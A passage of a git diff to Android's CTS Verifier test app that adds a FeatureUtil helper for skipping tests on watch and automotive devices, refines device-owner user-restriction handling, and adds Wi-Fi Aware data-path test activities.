+ runOnUiThread(() -> mExpectedGearSelectionTextView.setText("Failed(Timeout)"));
+ mCarPropertyManager.unregisterCallback(mGearSelectionCallback);
+ }
+ }
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
new file mode 100644
index 00000000000..1fe4768e867
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.features;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.UserManager;
+
+/**
+ * Feature without feature flag for now will be skipped based on the devices temporarily.
+ * TODO(b/189282625): replace device feature with a more specific feature.
+ */
+public final class FeatureUtil {
+
+ private FeatureUtil() {
+ throw new AssertionError();
+ }
+
+ /**
+ * Checks whether the device supports configing (e.g. disable, enable) location
+ */
+ public static boolean isConfigLocationSupported(Context context) {
+ return !isWatchOrAutomotive(context);
+ }
+
+ /**
+ * Checks whether the device supports configing lock screen
+ */
+ public static boolean isConfigLockScreenSupported(Context context) {
+ return !isWatchOrAutomotive(context);
+ }
+
+ /**
+ * Checks whether the device supports Easter egg / game
+ */
+ public static boolean isFunSupported(Context context) {
+ return !isWatchOrAutomotive(context);
+ }
+
+ /**
+ * Checks whether the device supports screen timeout
+ */
+ public static boolean isScreenTimeoutSupported(Context context) {
+ return !isWatchOrAutomotive(context);
+ }
+
+ /**
+ * Checks whether the device supports third party accessibility service
+ */
+ public static boolean isThirdPartyAccessibilityServiceSupported(Context context) {
+ return !isWatchOrAutomotive(context);
+ }
+
+ /**
+ * Checks whether the device supports configuring VPN
+ */
+ public static boolean isConfigVpnSupported(Context context) {
+ return !isWatchOrAutomotive(context);
+ }
+
+ /**
+ * Checks whether the device is watch or automotive
+ */
+ private static boolean isWatchOrAutomotive(Context context) {
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+ || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
+ /**
+ * Checks whether the device supports managed secondary users.
+ */
+ public static boolean supportManagedSecondaryUsers(Context context) {
+ return (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)
+ || UserManager.isHeadlessSystemUserMode()) && UserManager.supportsMultipleUsers();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 168ba1e674b..4552ccc9157 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -196,7 +196,6 @@ public class CommandReceiverActivity extends Activity {
// user mode it runs in a different user.
// Most DPM operations must be set on device owner user, but a few - like adding user
// restrictions - must be set in the current user.
-
boolean useCurrentUserDpm = intent.getBooleanExtra(EXTRA_USE_CURRENT_USER_DPM, false);
mDpm = useCurrentUserDpm
? getSystemService(DevicePolicyManager.class)
@@ -205,14 +204,15 @@ public class CommandReceiverActivity extends Activity {
mUm = (UserManager) getSystemService(Context.USER_SERVICE);
mAdmin = DeviceAdminTestReceiver.getReceiverComponentName();
- final String command = getIntent().getStringExtra(EXTRA_COMMAND);
+ final String command = intent.getStringExtra(EXTRA_COMMAND);
Log.i(TAG, "Command: " + command);
switch (command) {
case COMMAND_SET_USER_RESTRICTION: {
String restrictionKey = intent.getStringExtra(EXTRA_USER_RESTRICTION);
boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
- Log.i(TAG, "Setting '" + restrictionKey + "'=" + enforced + " using " + mDpm
- + " on user " + UserHandle.myUserId());
+ Log.i(TAG, "Setting '" + restrictionKey + "'=" + enforced
+ + " using " + mDpm + " on user "
+ + (useCurrentUserDpm ? UserHandle.myUserId() : UserHandle.SYSTEM));
if (enforced) {
mDpm.addUserRestriction(mAdmin, restrictionKey);
} else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 9d49028e803..6b16e721ea4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -40,6 +40,7 @@ import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestListAdapter.TestListItem;
import com.android.cts.verifier.TestResult;
+import com.android.cts.verifier.features.FeatureUtil;
/**
* Activity that lists all positive device owner tests. Requires the following adb command be issued
@@ -252,7 +253,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
R.string.device_owner_user_restriction_unset,
CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
UserManager.DISALLOW_CONFIG_WIFI, false))
- }));
+ }));
}
// DISALLOW_AMBIENT_DISPLAY.
@@ -272,8 +273,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
// new Intent(Settings.ACTION_DISPLAY_SETTINGS))}));
// DISALLOW_CONFIG_VPN
- // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
- if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ if (FeatureUtil.isConfigVpnSupported(this)) {
adapter.add(createInteractiveTestItem(this, DISALLOW_CONFIG_VPN_ID,
R.string.device_owner_disallow_config_vpn,
R.string.device_owner_disallow_config_vpn_info,
@@ -468,8 +468,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
R.string.enterprise_privacy_test,
enterprisePolicyTestIntent));
- if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)
- && UserManager.supportsMultipleUsers()) {
+ if (FeatureUtil.supportManagedSecondaryUsers(this)) {
// Managed user
adapter.add(createInteractiveTestItem(this, MANAGED_USER_TEST_ID,
R.string.managed_user_test,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
index 83fe87cf313..70aaab557b7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
@@ -228,9 +228,7 @@ public class IntentFiltersTestHelper {
}
if (pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
- forwardedIntentsFromManaged.addAll(Arrays.asList(
- new Intent(MediaStore.Audio.Media.RECORD_SOUND_ACTION),
- new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH)));
+ forwardedIntentsFromManaged.add(new Intent(MediaStore.Audio.Media.RECORD_SOUND_ACTION));
}
if (pm.hasSystemFeature(PackageManager.FEATURE_LOCATION)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index c5257babe78..6dd31f8551f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -28,6 +28,7 @@ import com.android.cts.verifier.ArrayTestListAdapter;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestListAdapter.TestListItem;
+import com.android.cts.verifier.features.FeatureUtil;
import java.util.Arrays;
import java.util.List;
@@ -140,28 +141,30 @@ public class PolicyTransparencyTestListActivity extends PassFailButtons.TestList
private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
for (String restriction :
UserRestrictions.getUserRestrictionsForPolicyTransparency(mMode)) {
- final Intent intent = UserRestrictions.getUserRestrictionTestIntent(this, restriction);
+ Intent intent =
+ UserRestrictions.getUserRestrictionTestIntent(this, restriction, mMode);
if (!UserRestrictions.isRestrictionValid(this, restriction)) {
continue;
}
- final String title = UserRestrictions.getRestrictionLabel(this, restriction);
+ String title = UserRestrictions.getRestrictionLabel(this, restriction);
String testId = getTestId(title);
intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId);
adapter.add(TestListItem.newTest(title, testId, intent, null));
}
for (Pair<Intent, Integer> policy : POLICIES) {
- final Intent intent = policy.first;
+ Intent intent = policy.first;
String test = intent.getStringExtra(PolicyTransparencyTestActivity.EXTRA_TEST);
if (!isPolicyValid(test)) {
continue;
}
+
if (mMode == MODE_MANAGED_PROFILE && !ALSO_VALID_FOR_MANAGED_PROFILE.contains(test)) {
continue;
}
if (mMode == MODE_MANAGED_USER && !ALSO_VALID_FOR_MANAGED_USER.contains(test)) {
continue;
}
- final String title = getString(policy.second);
+ String title = getString(policy.second);
String testId = getTestId(title);
intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TITLE, title);
intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId);
@@ -185,16 +188,14 @@ public class PolicyTransparencyTestListActivity extends PassFailButtons.TestList
switch (test) {
case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_INPUT_METHOD:
return pm.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS);
- // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_ACCESSIBILITY_SERVICE:
return (pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
- && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
- // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
+ && FeatureUtil.isThirdPartyAccessibilityServiceSupported(this));
case PolicyTransparencyTestActivity.TEST_CHECK_KEYGURAD_UNREDACTED_NOTIFICATION:
case PolicyTransparencyTestActivity.TEST_CHECK_LOCK_SCREEN_INFO:
case PolicyTransparencyTestActivity.TEST_CHECK_MAXIMUM_TIME_TO_LOCK:
return (pm.hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN)
- && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
+ && FeatureUtil.isConfigLockScreenSupported(this));
default:
return true;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 6a91c060ce4..dceb7476730 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -28,6 +28,7 @@ import android.text.TextUtils;
import android.util.ArrayMap;
import com.android.cts.verifier.R;
+import com.android.cts.verifier.features.FeatureUtil;
import java.util.ArrayList;
import java.util.Arrays;
@@ -160,6 +161,39 @@ public class UserRestrictions {
}
}
+ /**
+ * Copied from UserRestrictionsUtils. User restrictions that cannot be set by profile owners.
+ * Applied to all users.
+ */
+ private static final List<String> DEVICE_OWNER_ONLY_RESTRICTIONS =
+ Arrays.asList(
+ UserManager.DISALLOW_USER_SWITCH,
+ UserManager.DISALLOW_CONFIG_PRIVATE_DNS,
+ UserManager.DISALLOW_MICROPHONE_TOGGLE,
+ UserManager.DISALLOW_CAMERA_TOGGLE);
+
+ /**
+ * Copied from UserRestrictionsUtils. User restrictions that cannot be set by profile owners
+ * of secondary users. When set by DO they will be applied to all users.
+ */
+ private static final List<String> PRIMARY_USER_ONLY_RESTRICTIONS =
+ Arrays.asList(
+ UserManager.DISALLOW_BLUETOOTH,
+ UserManager.DISALLOW_USB_FILE_TRANSFER,
+ UserManager.DISALLOW_CONFIG_TETHERING,
+ UserManager.DISALLOW_NETWORK_RESET,
+ UserManager.DISALLOW_FACTORY_RESET,
+ UserManager.DISALLOW_ADD_USER,
+ UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
+ UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
+ UserManager.DISALLOW_MOUNT_PHYSICAL_MEDIA,
+ UserManager.DISALLOW_SMS,
+ UserManager.DISALLOW_FUN,
+ UserManager.DISALLOW_SAFE_BOOT,
+ UserManager.DISALLOW_CREATE_WINDOWS,
+ UserManager.DISALLOW_DATA_ROAMING,
+ UserManager.DISALLOW_AIRPLANE_MODE);
+
private static final List<String> ALSO_VALID_FOR_MANAGED_PROFILE_POLICY_TRANSPARENCY =
Arrays.asList(
UserManager.DISALLOW_APPS_CONTROL,
@@ -203,7 +237,7 @@ public class UserRestrictions {
}
public static List<String> getUserRestrictionsForPolicyTransparency(int mode) {
- if (mode == PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER) {
+ if (isDeviceOwnerMode(mode)) {
ArrayList<String> result = new ArrayList<String>();
// They are all valid except for DISALLOW_REMOVE_MANAGED_PROFILE
for (String st : RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY) {
@@ -221,7 +255,11 @@ public class UserRestrictions {
throw new RuntimeException("Invalid mode " + mode);
}
- public static Intent getUserRestrictionTestIntent(Context context, String restriction) {
+ /**
+ * Creates and returns a new intent to set user restriction
+ */
+ public static Intent getUserRestrictionTestIntent(Context context, String restriction,
+ int mode) {
final UserRestrictionItem item = USER_RESTRICTION_ITEMS.get(restriction);
final Intent intent =
new Intent(PolicyTransparencyTestActivity.ACTION_SHOW_POLICY_TRANSPARENCY_TEST)
@@ -232,10 +270,9 @@ public class UserRestrictions {
context.getString(item.label))
.putExtra(PolicyTransparencyTestActivity.EXTRA_SETTINGS_INTENT_ACTION,
item.intentAction);
- // For DISALLOW_FACTORY_RESET, set on the device owner, not on the current user.
- if (!UserManager.DISALLOW_FACTORY_RESET.equals(restriction)) {
- intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true);
- }
+
+ intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM,
+ !(isDeviceOwnerMode(mode) && isOnlyValidForDeviceOwnerOrPrimaryUser(restriction)));
return intent;
}
@@ -275,8 +312,8 @@ public class UserRestrictions {
}
return isCellBroadcastAppLinkEnabled;
case UserManager.DISALLOW_FUN:
- // Easter egg is not available on watch
- return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ // Easter egg is not available on watch or automotive
+ return FeatureUtil.isFunSupported(context);
case UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS:
return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
case UserManager.DISALLOW_CONFIG_WIFI:
@@ -294,10 +331,10 @@ public class UserRestrictions {
case UserManager.DISALLOW_CONFIG_CREDENTIALS:
return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
&& hasSettingsActivity(context, ACTION_CREDENTIALS_INSTALL);
- case UserManager.DISALLOW_CONFIG_LOCATION:
case UserManager.DISALLOW_CONFIG_SCREEN_TIMEOUT:
- // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
- return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ return FeatureUtil.isScreenTimeoutSupported(context);
+ case UserManager.DISALLOW_CONFIG_LOCATION:
+ return FeatureUtil.isConfigLocationSupported(context);
default:
return true;
}
@@ -345,6 +382,18 @@ public class UserRestrictions {
return !TextUtils.isEmpty(resolveInfo.activityInfo.applicationInfo.packageName);
}
+ /**
+ * Checks whether target mode is device owner test mode
+ */
+ private static boolean isDeviceOwnerMode(int mode) {
+ return mode == PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER;
+ }
+
+ private static boolean isOnlyValidForDeviceOwnerOrPrimaryUser(String restriction) {
+ return DEVICE_OWNER_ONLY_RESTRICTIONS.contains(restriction)
+ || PRIMARY_USER_ONLY_RESTRICTIONS.contains(restriction);
+ }
+
private static class UserRestrictionItem {
final int label;
final int userAction;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 1cabb008d46..b1b003142d3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -125,12 +125,6 @@ public class NotificationListenerVerifierActivity extends InteractiveVerifierAct
tests.add(new IsEnabledTest());
tests.add(new ServiceStartedTest());
tests.add(new NotificationReceivedTest());
- if (!isAutomotive) {
- tests.add(new SendUserToChangeFilter());
- tests.add(new AskIfFilterChanged());
- tests.add(new NotificationTypeFilterTest());
- tests.add(new ResetChangeFilter());
- }
tests.add(new LongMessageTest());
tests.add(new DataIntactTest());
tests.add(new AudiblyAlertedTest());
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
index 7cfcbf8270b..21cf6ceee25 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
@@ -137,6 +137,7 @@ public class CtsConnectionService extends ConnectionService {
if (isSelfManaged) {
connection.setConnectionProperties(Connection.PROPERTY_SELF_MANAGED);
}
+ connection.setAudioModeIsVoip(true);
connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD |
Connection.CAPABILITY_HOLD);
connection.setAddress(request.getAddress(), TelecomManager.PRESENTATION_ALLOWED);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 00000000000..e81528ee64f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, active subscribe. Pair with accept any publish
+ */
+public class DataPathOpenActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
+ /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ false);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 00000000000..b25c3ef3176
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, passive subscribe. Pair with accept any publish
+ */
+public class DataPathOpenPassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
+ /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ false);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 00000000000..62275ecdb5c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, passphrase, active subscribe. Pair with accept any publish
+ */
+public class DataPathPassphraseActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false,
+ /* acceptAny */ false);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 00000000000..88ea2bb7ed8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, passphrase, passive subscribe. Pair with accept any publish
+ */
+public class DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false,
+ /* acceptAny */ false);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 00000000000..136b296fdda
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, active subscribe. Pair with accept any publish
+ */
+public class DataPathPmkActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true,
+ /* acceptAny */ false);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 00000000000..44cab45dc91
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, passive subscribe. Pair with accept any publish
+ */
+public class DataPathPmkPassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true,
+ /* acceptAny */ false);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
index 01387876788..b1b62bff882 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
@@ -169,8 +169,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity {
null));
adapter.add(TestListAdapter.TestListItem.newTest(this,
R.string.aware_subscribe,
- DataPathOpenPassiveSubscribeTestActivity.class.getName(),
- new Intent(this, DataPathOpenPassiveSubscribeTestActivity.class), null));
+ DataPathOpenPassiveSubscribeAcceptAnyTestActivity.class.getName(),
+ new Intent(this, DataPathOpenPassiveSubscribeAcceptAnyTestActivity.class),
+ null));
adapter.add(TestListAdapter.TestListItem.newCategory(this,
R.string.aware_dp_ib_passphrase_unsolicited_accept_any));
adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -181,8 +182,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity {
null));
adapter.add(TestListAdapter.TestListItem.newTest(this,
R.string.aware_subscribe,
- DataPathPassphrasePassiveSubscribeTestActivity.class.getName(),
- new Intent(this, DataPathPassphrasePassiveSubscribeTestActivity.class), null));
+ DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.class.getName(),
+ new Intent(this, DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.class),
+ null));
adapter.add(TestListAdapter.TestListItem.newCategory(this,
R.string.aware_dp_ib_pmk_unsolicited_accept_any));
adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -192,8 +194,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity {
null));
adapter.add(TestListAdapter.TestListItem.newTest(this,
R.string.aware_subscribe,
- DataPathPmkPassiveSubscribeTestActivity.class.getName(),
- new Intent(this, DataPathPmkPassiveSubscribeTestActivity.class), null));
+ DataPathPmkPassiveSubscribeAcceptAnyTestActivity.class.getName(),
+ new Intent(this, DataPathPmkPassiveSubscribeAcceptAnyTestActivity.class),
+ null));
adapter.add(TestListAdapter.TestListItem.newCategory(this,
R.string.aware_dp_ib_open_solicited_accept_any));
